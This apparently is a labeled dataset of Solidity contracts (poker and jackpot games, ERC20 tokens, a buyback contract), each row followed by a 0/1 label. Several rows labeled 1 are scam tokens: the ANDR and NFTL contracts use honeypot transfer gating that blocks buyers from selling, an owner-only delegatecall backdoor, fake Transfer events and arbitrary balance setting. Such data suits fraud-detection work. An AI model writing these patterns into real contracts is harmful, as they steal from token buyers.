Market[ID].PriceID++;
Market[ID].Holder=msg.sender;
}
function GetPrice(uint8 id) public view returns (uint256){
uint256 p = BasePrice;
if (id > 0){
for (uint i=1; i<=id; i++){
if (i==MAXPRICEPOWER){
break;
}
p = (p * (10000 + Increase))/10000;
}
}
return p;
}
function PayPoker(string Quote, string Name) public NoContract{
uint8 wins = HandWins(msg.sender);
if (wins>0){
uint256 available_balance = (TotalPot*PotPayout)/10000;
uint256 payment = sub ((available_balance * PokerPayout)/10000 , PokerPayoutValue);
PokerPayoutValue = PokerPayoutValue + payment;
if (wins==1){
msg.sender.transfer(payment);
emit PokerPaid(RoundNumber, payment, msg.sender, Quote, Name, WinningHand);
}
}
else{
revert();
}
}
function GetTime(uint8 id) public view returns (uint256){
if (id >= TimeArray.length){
return TimeArray[TimeArray.length-1];
}
else{
return TimeArray[id];
}
}
function Withdraw(string Quote, string Name) public NoContract {
_withdraw(Quote,Name,false);
}
function WithdrawEmergency() public OnlyOwner{
_withdraw("Emergency withdraw call","Admin",true);
}
function _withdraw(string Quote, string Name, bool Emergency) NoContract internal {
require(block.timestamp > Timer && Timer != 0);
Timer=0;
uint256 available_balance = (TotalPot*PotPayout)/10000;
uint256 bal = (available_balance * JackpotPayout)/10000;
JackpotWinner.transfer(bal);
emit JackpotPaid(RoundNumber, bal, JackpotWinner, Quote, Name);
bal = sub(sub(available_balance, bal),PokerPayoutValue);
if (bal > 0 && PokerWinner != address(this)){
if (bal > address(this).balance){
PokerWinner.transfer(address(this).balance);
}
else{
PokerWinner.transfer(bal);
}
emit PokerPaid(RoundNumber, bal, PokerWinner, "Paid out left poker pot", "Dealer", WinningHand);
}
TotalPot = address(this).balance;
PokerPayoutValue= (TotalPot * PotPayout * PokerPayout)/(10000*10000);
for (uint i=0; i<MaxItems; i++){
Market[i].PriceID=0;
}
if (!Emergency){
DrawHouse();
}
RoundNumber++;
EditMode=SetEditMode;
emit NewRound();
}
function setEditModeBool(bool editmode) public OnlyOwner {
SetEditMode=editmode;
if (!editmode){
EditMode=false;
}
}
function emergencyDropEth() public payable{
}
function editTimer(uint8 ID, uint256 Time) public OnlyOwner GameClosed{
TimeArray[ID] = Time;
}
function editBasePrice(uint256 NewBasePrice) public OnlyOwner GameClosed{
BasePrice = NewBasePrice;
}
function editMaxItems(uint8 NewMax) public OnlyOwner GameClosed{
MaxItems = NewMax;
}
function editPayoutSetting(uint8 setting, uint16 newv) public OnlyOwner GameClosed{
require(setting > 0);
if (setting == 1){
require(newv <= 10000);
JackpotPayout = newv;
PokerPayout = 10000-newv;
}
else if (setting == 2){
require(newv <= 10000);
PokerPayout = newv;
JackpotPayout = 10000-newv;
}
else if (setting == 3){
require (newv <= 10000);
PreviousPayout = newv;
}
else if (setting == 4){
require(newv <= 30000);
Increase = newv;
}
else if (setting == 5){
require(newv <=10000);
PotPayout = newv;
}
else if (setting == 6){
require(newv < 700);
Tax = newv;
}
else{
revert();
}
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,394 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ANDR {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,637 |
pragma solidity ^0.4.21;
contract TwoXJackpot {
using SafeMath for uint256;
address public contractOwner;
struct BuyIn {
uint256 value;
address owner;
}
struct Game {
BuyIn[] buyIns;
address[] winners;
uint256[] winnerPayouts;
uint256 gameTotalInvested;
uint256 gameTotalPaidOut;
uint256 gameTotalBacklog;
uint256 index;
mapping (address => uint256) totalInvested;
mapping (address => uint256) totalValue;
mapping (address => uint256) totalPaidOut;
}
mapping (uint256 => Game) public games;
uint256 public gameIndex;
uint256 public jackpotBalance;
address public jackpotLastQualified;
address public jackpotLastWinner;
uint256 public jackpotLastPayout;
uint256 public jackpotCount;
uint256 public gameStartTime;
uint256 public roundStartTime;
uint256 public lastAction;
uint256 public timeBetweenGames = 24 hours;
uint256 public timeBeforeJackpot = 30 minutes;
uint256 public timeBeforeJackpotReset = timeBeforeJackpot;
uint256 public timeIncreasePerTx = 1 minutes;
uint256 public timeBetweenRounds = 5 minutes;
uint256 public buyFee = 90;
uint256 public minBuy = 50;
uint256 public maxBuy = 2;
uint256 public minMinBuyETH = 0.02 ether;
uint256 public minMaxBuyETH = 0.5 ether;
uint256[] public gameReseeds = [90, 80, 60, 20];
modifier onlyContractOwner() {
require(msg.sender == contractOwner);
_;
}
modifier isStarted() {
require(now >= gameStartTime);
require(now >= roundStartTime);
_;
}
event Purchase(uint256 amount, address depositer);
event Seed(uint256 amount, address seeder);
function TwoXJackpot() public {
contractOwner = msg.sender;
gameStartTime = now + timeBetweenGames;
lastAction = gameStartTime;
}
function changeStartTime(uint256 _time) public onlyContractOwner {
require(now < _time);
gameStartTime = _time;
lastAction = gameStartTime;
}
function updateTimeBetweenGames(uint256 _time) public onlyContractOwner {
timeBetweenGames = _time;
}
function seed() public payable {
jackpotBalance += msg.value;
emit Seed(msg.value, msg.sender);
}
function purchase() public payable isStarted {
if (now > lastAction + timeBeforeJackpot &&
jackpotLastQualified != 0x0) {
claim();
if (msg.value > 0) {
msg.sender.transfer(msg.value);
}
return;
}
if (jackpotBalance <= 1 ether) {
require(msg.value >= minMinBuyETH);
require(msg.value <= minMaxBuyETH);
} else {
uint256 purchaseMin = SafeMath.mul(msg.value, minBuy);
uint256 purchaseMax = SafeMath.mul(msg.value, maxBuy);
require(purchaseMin >= jackpotBalance);
require(purchaseMax <= jackpotBalance);
}
uint256 valueAfterTax = SafeMath.div(SafeMath.mul(msg.value, buyFee), 100);
uint256 potFee = SafeMath.sub(msg.value, valueAfterTax);
jackpotBalance += potFee;
jackpotLastQualified = msg.sender;
lastAction = now;
timeBeforeJackpot += timeIncreasePerTx;
uint256 valueMultiplied = SafeMath.mul(msg.value, 2);
games[gameIndex].gameTotalInvested += msg.value;
games[gameIndex].gameTotalBacklog += valueMultiplied;
games[gameIndex].totalInvested[msg.sender] += msg.value;
games[gameIndex].totalValue[msg.sender] += valueMultiplied;
games[gameIndex].buyIns.push(BuyIn({
value: valueMultiplied,
owner: msg.sender
}));
emit Purchase(msg.value, msg.sender);
while (games[gameIndex].index < games[gameIndex].buyIns.length
&& valueAfterTax > 0) {
BuyIn storage buyIn = games[gameIndex].buyIns[games[gameIndex].index];
if (valueAfterTax < buyIn.value) {
buyIn.owner.transfer(valueAfterTax);
games[gameIndex].gameTotalBacklog -= valueAfterTax;
games[gameIndex].gameTotalPaidOut += valueAfterTax;
games[gameIndex].totalPaidOut[buyIn.owner] += valueAfterTax;
games[gameIndex].totalValue[buyIn.owner] -= valueAfterTax;
buyIn.value -= valueAfterTax;
valueAfterTax = 0;
} else {
buyIn.owner.transfer(buyIn.value);
games[gameIndex].gameTotalBacklog -= buyIn.value;
games[gameIndex].gameTotalPaidOut += buyIn.value;
games[gameIndex].totalPaidOut[buyIn.owner] += buyIn.value;
games[gameIndex].totalValue[buyIn.owner] -= buyIn.value;
valueAfterTax -= buyIn.value;
buyIn.value = 0;
games[gameIndex].index++;
}
}
}
function claim() public payable isStarted {
require(now > lastAction + timeBeforeJackpot);
require(jackpotLastQualified != 0x0);
uint256 reseed = SafeMath.div(SafeMath.mul(jackpotBalance, gameReseeds[jackpotCount]), 100);
uint256 payout = jackpotBalance - reseed;
jackpotLastQualified.transfer(payout);
jackpotBalance = reseed;
jackpotLastWinner = jackpotLastQualified;
jackpotLastPayout = payout;
games[gameIndex].winners.push(jackpotLastQualified);
games[gameIndex].winnerPayouts.push(payout);
timeBeforeJackpot = timeBeforeJackpotReset;
jackpotLastQualified = 0x0;
if(jackpotCount == gameReseeds.length - 1){
gameStartTime = now + timeBetweenGames;
lastAction = gameStartTime;
gameIndex += 1;
jackpotCount = 0;
} else {
lastAction = now + timeBetweenRounds;
roundStartTime = lastAction;
jackpotCount += 1;
}
}
function () public payable {
purchase();
}
function getJackpotInfo() public view returns (uint256, address, address, uint256, uint256, uint256, uint256, uint256, uint256) {
return (
jackpotBalance,
jackpotLastQualified,
jackpotLastWinner,
jackpotLastPayout,
jackpotCount,
gameIndex,
gameStartTime,
lastAction + timeBeforeJackpot,
roundStartTime
);
}
function getPlayerGameInfo(uint256 _gameIndex, address _player) public view returns (uint256, uint256, uint256) {
return (
games[_gameIndex].totalInvested[_player],
games[_gameIndex].totalValue[_player],
games[_gameIndex].totalPaidOut[_player]
);
}
function getMyGameInfo() public view returns (uint256, uint256, uint256) {
return getPlayerGameInfo(gameIndex, msg.sender);
}
function getGameConstants() public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256[]) {
return (
timeBetweenGames,
timeBeforeJackpot,
minMinBuyETH,
minMaxBuyETH,
minBuy,
maxBuy,
gameReseeds
);
}
function getGameInfo(uint256 _gameIndex) public view returns (uint256, uint256, uint256, address[], uint256[]) {
return (
games[_gameIndex].gameTotalInvested,
games[_gameIndex].gameTotalPaidOut,
games[_gameIndex].gameTotalBacklog,
games[_gameIndex].winners,
games[_gameIndex].winnerPayouts
);
}
function getCurrentGameInfo() public view returns (uint256, uint256, uint256, address[], uint256[]) {
return getGameInfo(gameIndex);
}
function getGameStartTime() public view returns (uint256) {
return gameStartTime;
}
function getJackpotRoundEndTime() public view returns (uint256) {
return lastAction + timeBeforeJackpot;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 768 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract TransparentUpgradeableProxy is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 135000000000000000000000000;
string public name = "NFTLAUNCH.network";
string public symbol = "NFTL";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOfTokens(wrappedEther, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOfTokens(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 1 | 4,142 |
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
pragma solidity ^0.8.4;
contract OKLGWithdrawable is Ownable {
function withdrawTokens(address _tokenAddy, uint256 _amount)
external
onlyOwner
{
IERC20 _token = IERC20(_tokenAddy);
_amount = _amount > 0 ? _amount : _token.balanceOf(address(this));
require(_amount > 0, 'make sure there is a balance available to withdraw');
_token.transfer(owner(), _amount);
}
function withdrawETH() external onlyOwner {
payable(owner()).call{ value: address(this).balance }('');
}
}
contract BuyBackforRewardsMCCv2 is OKLGWithdrawable {
address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
address public receiver = 0x4Fd61669334F6feDf5741Bfb56FE673bD53a730F;
address public oklg = 0xC146B7CdBaff065090077151d391f4c96Aa09e0C;
IUniswapV2Router02 private router;
uint8 public rewardsPercent = 50;
address public treasury = 0xed528FC31f2575312Ec3336E0F6ec9812B534937;
uint8 public treasuryPercent = 50;
function setRewardsPercent(uint8 _p) external onlyOwner {
require(_p + treasuryPercent <= 100, 'total percent must be <= 100');
rewardsPercent = _p;
}
function setTreasury(address _t) external onlyOwner {
treasury = _t;
}
function setTreasuryPercent(uint8 _p) external onlyOwner {
require(_p + rewardsPercent <= 100, 'total percent must be <= 100');
treasuryPercent = _p;
}
constructor() {
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
}
receive() external payable {
if (treasuryPercent > 0) {
payable(treasury).call{ value: (msg.value * treasuryPercent) / 100 }('');
}
if (rewardsPercent > 0) {
this.BuyforRewards(msg.value * rewardsPercent / 100 );
}
}
function BuyforRewards(uint256 amount) external payable {
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = oklg;
router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: amount
}(
0,
path,
receiver,
block.timestamp
);
}
function setOklg(address _oklg) external onlyOwner {
oklg = _oklg;
}
function setReceiver(address _receiver) external onlyOwner {
receiver = _receiver;
}
} | 1 | 4,019 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
